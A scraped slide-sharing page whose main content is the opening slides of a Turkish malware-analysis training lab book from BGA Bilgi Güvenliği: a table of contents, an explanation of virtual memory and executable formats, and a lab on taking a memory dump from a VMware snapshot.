Windows 7 Ortamında Zararlı Yazılım AnaliziWindows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziBGA Cyber Security
 
Windows Azure ile Cloud Computing Uygulamaları - 8
Windows Azure ile Cloud Computing Uygulamaları - 8Windows Azure ile Cloud Computing Uygulamaları - 8
Windows Azure ile Cloud Computing Uygulamaları - 8İbrahim ATAY
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma sonBGA Cyber Security
 
Metasploit Framework - Giris Seviyesi Guvenlik Denetim Rehberi
Metasploit Framework - Giris Seviyesi Guvenlik Denetim RehberiMetasploit Framework - Giris Seviyesi Guvenlik Denetim Rehberi
Metasploit Framework - Giris Seviyesi Guvenlik Denetim RehberiFatih Ozavci
 
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin KullanımıSiber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin KullanımıBGA Cyber Security
 
IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...
IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...
IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...BGA Cyber Security
 
Açık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve Yönetimi
Açık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve YönetimiAçık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve Yönetimi
Açık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve YönetimiBilgiO A.S / Linux Akademi
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMABGA Cyber Security
 
Log yonetimi tecrubeleri
Log yonetimi tecrubeleriLog yonetimi tecrubeleri
Log yonetimi tecrubeleriErtugrul Akbas
 
Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)
Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)
Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)AISecLab
 
İleri Seviye T-SQL Programlama - Chapter 19
İleri Seviye T-SQL Programlama - Chapter 19İleri Seviye T-SQL Programlama - Chapter 19
İleri Seviye T-SQL Programlama - Chapter 19Cihan Özhan
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMIErtugrul Akbas
 
Güvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya KurtarmaGüvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya KurtarmaBGA Cyber Security
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıBGA Cyber Security
 

Similar a Zararlı Yazılım Analizi Eğitimi Lab Kitabı (20)

Windows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziWindows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım Analizi
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Ajansız log toplama
Ajansız log toplamaAjansız log toplama
Ajansız log toplama
 
Windows Azure ile Cloud Computing Uygulamaları - 8
Windows Azure ile Cloud Computing Uygulamaları - 8Windows Azure ile Cloud Computing Uygulamaları - 8
Windows Azure ile Cloud Computing Uygulamaları - 8
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
 
Metasploit Framework - Giris Seviyesi Guvenlik Denetim Rehberi
Metasploit Framework - Giris Seviyesi Guvenlik Denetim RehberiMetasploit Framework - Giris Seviyesi Guvenlik Denetim Rehberi
Metasploit Framework - Giris Seviyesi Guvenlik Denetim Rehberi
 
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin KullanımıSiber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
 
IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...
IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...
IstSec'14 - Çağrı ERSEN - Açık Kaynak Sistemlerle Siber Saldırı Gözetleme Sis...
 
Açık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve Yönetimi
Açık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve YönetimiAçık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve Yönetimi
Açık Kaynak Sistemlerle Siber Saldırı Gözlemleme Sistemi Kurulum ve Yönetimi
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Log yonetimi tecrubeleri
Log yonetimi tecrubeleriLog yonetimi tecrubeleri
Log yonetimi tecrubeleri
 
Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)
Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)
Google Güvenli Yapay Zeka Framework Yaklaşımı(Türkçe Çeviri)
 
İleri Seviye T-SQL Programlama - Chapter 19
İleri Seviye T-SQL Programlama - Chapter 19İleri Seviye T-SQL Programlama - Chapter 19
İleri Seviye T-SQL Programlama - Chapter 19
 
Log yönetimi ve siem
Log yönetimi ve siemLog yönetimi ve siem
Log yönetimi ve siem
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
Güvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya KurtarmaGüvenli Veri Silme ve Dosya Kurtarma
Güvenli Veri Silme ve Dosya Kurtarma
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
 
Mart
MartMart
Mart
 
Sistem İyileştirme Programları
Sistem İyileştirme ProgramlarıSistem İyileştirme Programları
Sistem İyileştirme Programları
 

Más de BGA Cyber Security

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiBGA Cyber Security
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfBGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiBGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?BGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBGA Cyber Security
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketlerBGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıBGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriBGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakBGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIBGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiBGA Cyber Security
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİBGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerBGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsBGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiBGA Cyber Security
 

Más de BGA Cyber Security (20)

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketler
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-II
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
 
Siber Fidye 2020 Raporu
Siber Fidye 2020 RaporuSiber Fidye 2020 Raporu
Siber Fidye 2020 Raporu
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain Tespiti
 

Zararlı Yazılım Analizi Eğitimi Lab Kitabı

  • 1. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Zararlı Yazılım Analizi Eğitimi Lab Çalışmaları Baskı: 2 Haziran 2013 Hazırlayan: Onur Alanbel
  • 2. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity BGA Bilgi Güvenliği A.Ş. Hakkında BGA Bilgi Güvenliği A.Ş. 2008 yılından bu yana siber güvenlik alanında faaliyet göstermektedir. Ülkemizdeki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacı ile kurulan BGA Bilgi Güvenliği,stratejik siber güvenlikdanışmanlığı ve güvenlik eğitimleri konularında kurumlara hizmet vermektedir. Uluslararası geçerliliğe sahip sertifikalı 50 kişilikteknik ekibi ile,faaliyetlerini Ankara ve İstanbul ve USA’da sürdüren BGA Bilgi Güvenliği’ninilgi alanlarını “Sızma Testleri, Güvenlik Denetimi, SOME, SOC Danışmanlığı, Açık Kaynak Siber Güvenlik Çözümleri, Büyük Veri Güvenlik Analizi ve Yeni Nesil Güvenlik Çözümleri”oluşturmaktadır. Gerçekleştirdiği başarılı danışmanlık projeleri ve eğitimlerle sektörde saygın bir yer edinen BGA Bilgi Güvenliği, kurulduğu günden bugüne alanında lider finans, enerji, telekom ve kamu kuruluşlarına 1.000'den fazlaeğitimve danışmanlıkprojelerigerçekleştirmiştir. BGA Bilgi Güvenliği, kurulduğu 2008 yılından beri ülkemizde bilgi güvenliği konusundaki bilgi ve paylaşımlarınartmasıamacı ile güvenlike-postalisteleri oluşturulması, seminerler,güvenliketkinlikleri düzenlenmesi, üniversite öğrencilerine kariyer ve bilgi sağlamak için siber güvenlik kampları düzenlenmesi ve sosyal sorumlulukprojeleri gibi birçokkonudagönüllüfaaliyetlerde bulunmuştur. BGA Bilgi Güvenliği AKADEMİSİ Hakkında BGA Bilgi Güvenliği A.Ş.’nin eğitim ve sosyal sorumluluk markası olarak çalışan Bilgi Güvenliği AKADEMİSİ, siber güvenlik konusunda ticari, gönüllü eğitimlerin düzenlenmesi ve siber güvenlik farkındalığını arttırıcı gönüllü faaliyetleri yürütülmesinden sorumludur. Bilgi Güvenliği AKADEMİSİ markasıyla bugüne kadar “Siber Güvenlik Kampları”, “Siber Güvenlik Staj Okulu”, “Siber Güvenlik Ar- Ge DestekBursu” , ”Ethical Hacking yarışmaları” ve “SiberGüvenlikKütüphanesi” gibi birçok gönüllü faaliyetindestekleyici olmuştur.
  • 3. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity İÇİNDEKİLER Malware Analiz Amaçlı Bellek Dökümü Analizi........................................................................4 Uygulama Adı: Sanal Makinelerde Bellek Dökümü Alma.......................................................... 5 UygulamaAdı: WindowsSistemlerde BellekDökümüAlmaAmaçlıKullanılanTicari/Ücretsiz Yazılımlar.............................................................................................................................. 6 UygulamaAdı: Linux SistemlerdeBellekDökümüAlmaAmaçlıKullanılanTicari/Ücretsiz Yazılımlar.............................................................................................................................. 7 Uygulama Adı: Volatility Kullanarak Bellek Analizi ................................................................... 8 Uygulama Adı: Çalıştırılan Dosyaya Ait Ağ Bağlantılarını Bulma ...............................................10 Uygulama Adı: Bellekten Zararlı Yazılıma Ait Çalıştırılabilir Dosyanın Çıkarılması.......................11 Uygulama Adı: Bellekte Parola Bulma....................................................................................13 Uygulama Adı: Bellekte Zararlı Yazılım Avı..............................................................................14 Malware Analiz Araçları ve Temel Kullanımları......................................................................17 Uygulama Adı: Temel Seviye Disassembler Kullanımı..............................................................17 Uygulama Adı: Temel Seviye Debugger Kullanımı...................................................................21 Malware Keşfinde Microsoft Sysinternals Araçları ................................................................25 Uygulama Adı: Process Explorer Kullanımı.............................................................................25 Uygulama Adı: Process Monitor Kullanımı..............................................................................27 Malware Yayılma Mekanizmaları............................................................................................30 Online Malware Analiz Siteleri ve Temel Çalışma Yöntemleri...............................................30 Uygulama Adı: Virustotal Kullanımı .......................................................................................31 McRat Analizi...........................................................................................................................33 Uygulama Adı: Zararlı Tarafından Üretilen Trafiğin Sahte Servislerle Yönetimi..........................45 Uygulama Adı: Snort Kullanarak Zararlı Yazılım Tespiti............................................................49 Uygulama Adı: SSL Kullanan Zararlı Yazılım Trafiğini Yönlendirme ve İnceleme.........................53 Uygulama Adı: DNS Sinkhole İle Zararlı Yazılım Engelleme ......................................................57
  • 4. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Malware Analiz Amaçlı Bellek Dökümü Analizi İşletim Sisteminin Çalışmasında Belleğin Yeri ve Önemi Bilgisayar sistemlerinde normal şartlar altında süreçler(process) çalışmak için işletim sistemi tarafından belleğe yüklenmeye gereksinimduyarlar. Zararlı yazılımlar kendilerini çalışan diğer süreçlerin bellek alanlarına enjekte etmek gibi yöntemler kullansalar da sonuçta bir şekilde bellekte yer edinmeleri gerekir. Bunun sebebini özetlemek gerekirse; günümüz işlemcileri çalıştıracağı kodları(instruction) kendi önbelleğinden çeker. Eğer gerekli alan önbellekte yüklü değilse bu alan bellekten yüklenir. Önbellek ve belleğin senkron olmasından dolayı(detaylar için cache write back ve cache write through policy aranabilir) sistemde çalışan süreçlerin aktiviteleri bellek analizi ile tespit edilebilir. Tabi burada bellekteki bazı süreçlerin diske kaydedilip(swapping) bellekten çıkarılmış olma ihtimali de var ancak bu süreçleri de bellek dökümüne dahil etmek döküm alma işlemini gerçekleştiren uygulamanın sorumluluğundadır. Yine detaylar için virtual memory, memory paging, process swapping başlıkları aranılabilir. Bellek Analizi İçin Gerekli Temel Bilgiler Modern işletim sistemleri bellek yönetiminde sanal bellek(virtual memory) adı verilen bir yapı kullanırlar. İşletim sistemi her süreç için sabit boyutlu, anlık sistem kaynaklarından bağımsız bir sanal bellek tanımlayıp sürece tek parça bir hafızaya sahip olduğu izlenimi verir. Ayrıca bu sanal belleği page adı verilen bir çok küçük parçaya böler. Aynı zamanda fiziksel belleği de pagelerle aynı boyutlu frame adı verilen parçalara böler ve süreçlerin çalışmak anında ihtiyaç duydukları pageleri bu framelere yükleyerek kısıtlı bir bellek alanında bir çok sürecin bulunmasına imkan tanır. Aynı sürece ait pagelerin framelere ardışık olarak yerleştirilme zorunluğu yoktur bu işlemin detayları işletim sisteminin sanal bellek yöneticisi tarafından ve TLB(translation lookaside buffer) gibi donanımsal eklentiler yardımıyla gerçekleştirilir. Sanal bellek yöntemi internal ve external fragmentation sorunlarını en aza indirip multiprocessing imkanını olabildiğince arttırmak amacıyla geliştirilmiştir. 32-bit Windows sistemlerde varsayılan olarak her sürece 2GB sanal bellek tanımlanır. İhtiyaç duyulduğunda bu boyut 32-bit uygulamalar için 3GB’a 64-bit uygulamalar içinse 4GB’a kadar çıkarılabilir. 64-bit Windows sistemlerde ise işlemci mimarisine göre bu boyut 7GB veya 8GB olarak tanımlanmıştır. 32-bit Linux sistemlerde süreçlerin sanal bellek alanı 3 GB olarak tanımlanmıştır. 64-bit Linux sistemlerde 32-bit uygulamalar için bu alan 4GB olarak tanımlanmıştır, 64-bit uygulamalar içinse sistem tarafından teoride 128TB’a kadar desteklenmekle beraber gerçekte kullanılan mimariye bağlı olarak değişkenlik gösterir. Bellek analizinde önem arz eden bir başka işletimsistemi mekanizması da swappingtir. İşletim sisteminin süreç yöneticisi tarafından diğer sistem kaynaklarıyla beraber fiziksel bellek kullanımı da süreçler arasında belli algoritmalara bağlı olarak paylaştırılır. İhtiyaç duyulduğunda bazı süreçlere ait frameler diske kaydedilerek başka süreçlere yer açılabilir. Bu diske kaydetme ve diskte geri yükleme işlemine Windowsta page in - page out, Linuxte swap in - swap out adı verilmektedir. Hem Windows hem de Linux sistemlerde çalıştırılabilir dosyalar için belli bir format vardır. Windows sistemler PE(Portable Executable) adı verilen bir dosya formatı kullanır. PE aslında
  • 5. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity windows işletim sisteminin dosyayı belleğe yükleyip çalıştırabilmesi için gerekli bilgileri tutan veri yapısıdır. Temelde dosyanın belleğe nasıl yerleştirileceğiyle ve bellekte hangi bölümün hangi izinlerinin(okuma, yazma, çalıştırma) olacağı, çalışmak için ihtyaç duyduğu dll dosyaları gibi bilgileri barındıran başlık(header) ve bölümlerden(section) oluşur. Linux sistemlerde ise kendi başına çalıştırılabilir uygulamalar için ELF(Executable and Linkable Format) adı verilen bir dosya formatı kullanılır. ELF de PE formatına benzer olarak programın belleğe yerleştirilmesi, izinleri gibi işletimsisteminin programı çalıştırmak için ihtiyaç duyduğu bilgileri barındıran başlık ve bölümlerden oluşan bir veri yapısıdır. Uygulama No: BGA-MA-? Uygulama Adı: Sanal Makinelerde Bellek Dökümü Alma Amaç: Zararlının bulaştığı sanal makinede çalışan sistemin bellek dökümünü almak. Lab senaryosu: Zararlının çalıştığı sistemede ek bir yazılım çalıştırmaya gerek kalmadan sanallaştırma uygulaması aracılığıyla bellek dökümü elde edilir. Kullanılan Araçlar: ● VMWare Workstation 9 Adımlar: 1. Adım: Sanal makinenin snapshot özelliği kullanılarak sistemin durumu kaydedilir. VMWare için üst menüden “VM->Snapshot->Take Snapshot” yolu izlenir veya üst paneldeki snapshot ikonuna basılır. 2. Adım: İlgili sanal makine dosyalarının kayıtlı olduğu dizin bulunur. Bunun için ESXI gibi sanallaştırma sistemlerinde sanal makinenin kayıtlı olduğu datastore’a bakılır. Yerelde çalışan VMWare workstation için hedef sanal makinenin üzerine sağ tıklanıp “Settings” açılan pencereden “Options->General” tabına gelinir ve “Working Directory” kısmından dizin görülür. Bulunan dizine gidilip alınan snapshotla aynı isimdeki .vmem uzantılı dosya(bellek dökümü) analizin yapılacağı sisteme kopyalanır.
